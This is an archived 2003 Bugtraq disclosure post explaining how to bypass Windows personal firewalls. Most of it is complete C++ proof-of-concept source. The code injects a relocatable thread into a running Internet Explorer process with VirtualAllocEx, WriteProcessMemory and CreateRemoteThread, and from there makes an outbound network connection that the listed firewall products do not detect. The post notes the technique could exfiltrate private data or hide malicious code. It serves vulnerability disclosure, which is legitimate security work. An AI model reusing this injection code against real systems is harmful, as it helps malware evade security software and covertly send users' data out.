

Bypassing Personal Firewalls

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2003-02/0268.html>

From: xenophile (oliver.lavery@sympatico.ca)

Date: 02/21/03

Date: 21 Feb 2003 21:34:02 -0000
From: xenophile <oliver.lavery@sympatico.ca>
To: bugtraq@securityfocus.com

('binary' encoding is not supported, stored as-is)

[MODERATOR: posted this to vuln-dev where it recieved some interest. Thought it might be interesting to a wider audience. Here's a revised version of the same post]

Here's a code snippet that injects code directly into a running process without the need for a DLL etc. I believe that it demonstrates that process boundaries under NT mean very little within the context of a given UID.

This allows PFWs to be bypassed, as well as making it very easy to hide running malicious code on a system. The example is a 'sploit that makes a connection from within IE, and slips under the radar of all PFWs I've tested.

Having attempted to discuss this with PFW vendors, it doesn't appear to be much of a concern to them; after almost two business weeks, Symantec is the only company to have responded with any concern. To be fair, this isn't remotely exploitable, and is fundamentally an issue with how OSs are designed, not how PFWs work (although one might wonder if some of the claims made by PFW vendors are really ethical). I think it illustrates that OpenProcess, ptrace, and the like should really enforce filesystem priviledges on the processes they can modify. I think that this is something that needs to be done proactively.

The implication of allowing processes to modify each other this way is that PFWs can not be easily made secure, but also that malicious code has nice support from windows for doing some very bad things. For instance it would be a simple addition to intercept syscalls made by any process into which code can be injected, and in so doing hide the presence of malicious activity from all local processes a user runs.

Binary available at:

<http://www3.sympatico.ca/oliver.lavery/za-hole.zip>

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
////////////////////////////////////
// fw_bypass.cpp | therman.exe
////////////////////////////////////
//
// (C) 2003 Oliver Lavery
//
// This program establishes socket connections and transfers information
in a manner
// which should be undetectable by all current personal firewall products.
//
// Tested on:
// Windows XP Professional SP1
// (should run on any NT variant)
//
// Known vulnerable:
// ZoneAlarm Pro 3.5 (all settings at highest)
// Zero-Knowledge Freedom Firewall
// Look'n'Stop 2.04
// Sygate Personal Firewall PRO (highest settings)
// Norton Personal Firewall 2003 (highest settings)
//
// (should smoke 'em all)
//

////
// Compile me with VC++ 98. Other compilers may work.
//
// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS"
// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c
// (no stack checking, no "catch release errors in debug", no incremental
linking.
// they all break stuff here)

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from
Windows headers

#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>

////////// Injected Code.//////////

// This code is a bit funky. The idea here is to write C in such a way
that it is relocatable
// in the strictest sense of the word (can be passed accross process
boundaries at run-time).
// To do this the injected code has to contain no static references to
symbols that reside at
// a fixed memory address. Also this part of the code is incompatible
with incremental linking,
// and stack checking.
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
//
// There's really no advantage to doing this in C rather than assembly
// other than the
// fact that it's cool. I wanted to see if it would be feasible to inject
// C code for other,
// bigger projects.

// NB, please excuse the Hungarian notation. I hate it too. When in
// Rome...

//User32
typedef int (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText,
LPCTSTR lpCaption, UINT uType );
//Wsock32
typedef SOCKET (__stdcall *func_socket)( int, int, int );
typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
typedef u_short (__stdcall *func_htons)( u_short );
typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr
FAR*, int );
typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int
flags );
typedef int (__stdcall *func_WSASStartup) ( WORD wVersionRequested,
LPWSADATA lpWSAData );

//Kernel32
typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD,
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE );
typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD,
LPDWORD, LPOVERLAPPED );
typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject );

typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR );
typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR );
typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR );

typedef struct _tag_inj_info {
    func_GetModuleHandle GetModuleHandle;
    func_GetProcAddress GetProcAddress;
    func_LoadLibrary LoadLibrary;
    char szRequest[128];
    int lRequest;
    char szFile[255];
    char szAddr[32];
    char szErrCmnt1[64];
    char szErrCmnt2[64];
    char szErrTitle1[64];
    char szErrTitle2[64];
    char szErrTitle3[64];
// module names
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
char szKernel32[32];
char szUser32[32];
char szWSock32[32];
// func names
char szMessageBox[32];
char szSocket[32];
char szInet_Addr[32];
char szHtons[32];
char szConnect[32];
char szSend[32];
char szRecv[32];
char szCreateFile[32];
char szWriteFile[32];
char szCloseHandle[32];
char szWSAStartup[32];
} inj_info ;

// Calls to the stack-checking routine must be disabled.
// VC++ doesn't always obey this pragma
#pragma check_stack(off)

// This function runs in IE's address space
static DWORD WINAPI ThreadFunc( inj_info *info )
{
    HMODULE hKernel32, hWSock32, hUser32;

    // User32
    func_MessageBox l_MessageBox;

    // Winsock2
    func_WSAStartup l_WSAStartup;
    func_socket l_socket;
    func_inet_addr l_inet_addr;
    func_htons l_htons;
    func_connect l_connect;
    func_send l_send;
    func_recv l_recv;

    // Kernel32
    func_CreateFile l_CreateFile;
    func_WriteFile l_WriteFile;
    func_CloseHandle l_CloseHandle;

    // locals for actual functionality
    SOCKET s;
    SOCKADDR_IN sa;
    HANDLE outfile;
    char buf[255];
    DWORD count;
    DWORD read, wrote, error;
    BOOL needStartup;
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
WSADATA foo;
WORD wVersion;

count = 0;
wVersion = MAKEWORD( 2, 0 );
needStartup = FALSE;

// Dynamically bind API functions

hUser32 = info->GetModuleHandle( info->szUser32 );
if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
>szUser32 );
if (hUser32 == NULL) return 0;
l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32,
info->szMessageBox );

hKernel32 = info->GetModuleHandle( info->szKernel32 );
if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
>szKernel32 );
if (hKernel32 == NULL) {
    l_MessageBox( NULL, info->szKernel32, info->szErrTitle3,
    MB_OK );
    return 0;
}
l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32,
info->szCreateFile );
l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32,
info->szWriteFile );
l_CloseHandle = (func_CloseHandle)info->GetProcAddress(
hKernel32, info->szCloseHandle );

hWSock32 = info->GetModuleHandle( info->szWSock32 );
if (hWSock32 == NULL) {
    needStartup = TRUE;
    hWSock32 = info->LoadLibrary( info->szWSock32 );
}
if (hWSock32 == NULL) {
    l_MessageBox( NULL, info->szWSock32, info->szErrTitle3,
    MB_OK );
    return 0;
}
l_WSASStartup = (func_WSASStartup)info->GetProcAddress( hWSock32,
info->szWSASStartup );
l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
>szSocket );
l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32,
info->szInet_Addr );
l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
>szHtons );
l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
>szConnect );
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
l_send = (func_send)info->GetProcAddress( hWSock32, info-
>szSend );
l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
>szRecv );

// Ok. Do stuff.

if ( needStartup )
{
    l_WSASStartup(2, &foo);
}
s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
sa.sin_port = l_htons(80);

if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
    outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
    if ( outfile != INVALID_HANDLE_VALUE ) {
        l_send( s, info->szRequest, info->lRequest, 0);
        while ( read = l_recv( s, buf, 255, 0 ) ) {
            l_WriteFile( outfile, buf, read, &wrote,
NULL );
        }
        l_CloseHandle( outfile );
    } else {
        l_MessageBox( NULL, info->szErrCmnt1, info-
>szErrTitle1, MB_OK );
    }
} else {
    l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2,
MB_OK );
}
return 0;
// XXX forgot to close the socket.
}

static void AfterThreadFunc (void) {
}

#pragma check_stack

//////// "Normal" Code //////////

void ErrorNotify(DWORD err, char *title)
{

    LPVOID lpMsgBuf;
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
    NULL,
    err,
    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default
language
    (LPTSTR) &lpMsgBuf,
    0,
    NULL
);

// Display the string.
MessageBox( NULL, (char *)lpMsgBuf, title,
MB_OK|MB_ICONINFORMATION );

// Free the buffer.
LocalFree( lpMsgBuf );
};

// Bits of this function are from M$ Research's Detours library.
// A great resource for ways to do 3v1 stuff on windows, btw.
static BOOL InjectExploit(HANDLE hProcess)
{
    BOOL fSucceeded = FALSE;

    // The address where code will be copied to in the remote process.
    PDWORD pdwCodeRemote = NULL;

    // Calculate the number of bytes in the ThreadFunc function.
    const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE)
ThreadFunc);

    // The address where InjLibInfo will be copied to in the remote
process.
    inj_info *pInjLibInfoRemote = NULL;

    // The number of bytes written to the remote process.
    DWORD dwNumBytesXferred = 0;

    // The handle and Id of the thread executing the remote copy of
ThreadFunc.
    DWORD dwThreadId = 0;
    const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
    HANDLE hThread = NULL;

    DWORD dwOldProtect;

    inj_info info = {
// functions used to run-time link. (always at same addresses on windows)
    NULL, // GetModuleHandle
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
    NULL, // GetProcAddress
    NULL, // LoadLibrary
//// initialized data
    "GET / HTTP/1.0\n\n",
    strlen("GET / HTTP/1.0\n\n"),
    "",
    "205.206.231.12",
    "Can't create file",
    "Can't connect to securityfocus",
    "File Error",
    "Socket Error",
    "Linking Error",
// module names
    "kernel32.dll",
    "user32.dll",
    "wsock32.dll",
// func names
    "MessageBoxA",
    "socket",
    "inet_addr",
    "htons",
    "connect",
    "send",
    "recv",
    "CreateFileA",
    "WriteFile",
    "CloseHandle",
    "WSAStartup"
};

GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
strcat( info.szFile, "\\securityfocus.html");

HMODULE hKernel32;
hKernel32 = GetModuleHandle( "kernel32.dll" );
info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress(
hKernel32, "GetModuleHandleA" );
info.GetProcAddress = (func_GetProcAddress)GetProcAddress(
hKernel32, "GetProcAddress" );
info.LoadLibrary = (func_LoadLibrary)GetProcAddress(
hKernel32, "LoadLibraryA" );

// Allocate memory in the remote process's address space large
// enough to hold our ThreadFunc function and a inj_info
structure.
pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,

    MEM_COMMIT | MEM_TOP_DOWN,
    PAGE_EXECUTE_READWRITE);
if (pdwCodeRemote == NULL) {
    MessageBox( NULL, "IE not running. Please run IE, load a
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
page, and re-run this exploit.", "Can't find process", MB_OK);
    ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
    goto finish;
}

// Change the page protection of the allocated memory
// to executable, read, and write.
if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
    PAGE_EXECUTE_READWRITE,
&dwOldProtect)) {
    ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
    goto finish;
}

// Write a copy of ThreadFunc to the remote process.
if (!WriteProcessMemory(hProcess, pdwCodeRemote,
    (LPVOID)
ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
    ErrorNotify( GetLastError(), "WriteProcessMemory
Failed" );
    goto finish;
}

// Write a copy of inj_info to the remote process
// (the structure MUST start on an even 32-bit boundary).
pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) +
((cbCodeSize + 4) & ~3));

// Put inj_info in remote thread's memory block.
if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
    &info, sizeof
(info), &dwNumBytesXferred)) {
    ErrorNotify( GetLastError(), "WriteProcessMemory2
Failed" );
    goto finish;
}

if ((hThread = CreateRemoteThread(hProcess, NULL, 65536,
    (LPTHREAD_START_ROUTINE)
pdwCodeRemote,
    pInjLibInfoRemote, 0, &dwThreadId)
== NULL) {
    ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
    goto finish;
}

fSucceeded = TRUE;

finish:
if (hThread != NULL)
    CloseHandle(hThread);
```

SecurityFocus Bugtraq: Bypassing Personal Firewalls

```
    if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should
now contain the results of an HTTP request which in theory could have
transmitted your private information to a third party.\\n"
```

```
    "If you did not see a firewall warning, your firewall did
not detect the request and is vulnerable to this exploit."
```

```
        , "Success", MB_OK );
    return fSucceeded;
}
```

```
// There is no real reason to target IE, other than most users have it
running a lot, and it
// is usually allowed to bypass PFWs. Note that using the same technique
it would be easy to inject
// code to run a server inside another process as well, but IE is not
normally allowed to do this
```

```
// XXX there are better ways to get a PID.
```

```
DWORD GetIEProcessID( void )
```

```
{
    HANDLE hSnap;
    PROCESSENTRY32 ppe;

    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    ppe.dwSize = sizeof( PROCESSENTRY32 );
    Process32First( hSnap, &ppe );
    while ( 1 ) {
        if ( !strcmp( "iexplore.exe", ppe.szExeFile ) ) return
ppe.th32ProcessID;
        if ( !Process32Next( hSnap, &ppe ) ) break;
    }
    CloseHandle( hSnap );
    return FALSE;
}
```

```
int APIENTRY WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow)
```

```
{
    DWORD dwIE_PID = GetIEProcessID();
    HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
// XYZZY!
    InjectExploit( hIE );
    return 0;
}
```